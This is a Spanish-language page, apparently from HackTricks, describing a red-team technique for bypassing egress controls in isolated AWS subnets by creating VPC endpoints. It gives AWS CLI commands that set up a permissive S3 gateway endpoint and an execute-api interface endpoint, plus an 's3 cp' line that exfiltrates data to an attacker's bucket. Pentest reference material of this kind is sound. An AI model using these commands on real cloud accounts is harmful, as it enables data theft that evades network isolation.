AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Resumen

Esta técnica abusa de VPC Endpoints para crear canales de exfiltración desde subredes sin Internet Gateways o NAT. Gateway endpoints (e.g., S3) añaden rutas de prefix‑list en las tablas de enrutamiento de las subredes; Interface endpoints (e.g., execute-api, secretsmanager, ssm, etc.) crean ENIs alcanzables con IPs privadas protegidas por security groups. Con permisos mínimos de VPC/EC2, un atacante puede habilitar egress controlado que no atraviesa la Internet pública.

Requisitos: VPC existente y subredes privadas (no IGW/NAT). Necesitarás permisos para crear VPC endpoints y, para la Opción B, un security group para adjuntar a las ENIs del endpoint.

Opción A – S3 Gateway VPC Endpoint

Variables

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • RTB_IDS=<comma-separated route table IDs of private subnets>
  1. Crea un archivo de política de endpoint permisiva (opcional). Guárdalo como allow-put-get-any-s3.json:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
  1. Crear el S3 Gateway endpoint (agrega la ruta S3 prefix‑list a las route tables seleccionadas):
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json   # optional

Evidencia a capturar:

  • aws ec2 describe-route-tables --route-table-ids $RTB_IDS muestra una ruta a la lista de prefijos de AWS S3 (p. ej., DestinationPrefixListId=pl-..., GatewayId=vpce-...).
  • Desde una instancia en esas subredes (con permisos IAM) puedes exfil via S3 sin Internet:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION

Opción B – Interface VPC Endpoint para API Gateway (execute-api)

Variables

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • SUBNET_IDS=<comma-separated private subnets>
  • SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
  1. Crear el interface endpoint y asociar el SG:
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled

Evidencia a capturar:

  • aws ec2 describe-vpc-endpoints muestra el endpoint en estado available con NetworkInterfaceIds (ENIs en tus subredes).
  • Las instancias en esas subredes pueden acceder a endpoints de Private API Gateway a través de esas VPCE ENIs (no se requiere ruta a Internet).

Impact

  • Elude los controles de egress perimetral aprovechando rutas privadas gestionadas por AWS hacia servicios de AWS.
  • Permite la exfiltración de datos desde subredes aisladas (p. ej., escribir en S3; llamar a Private API Gateway; acceder a Secrets Manager/SSM/STS, etc.) sin IGW/NAT.

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks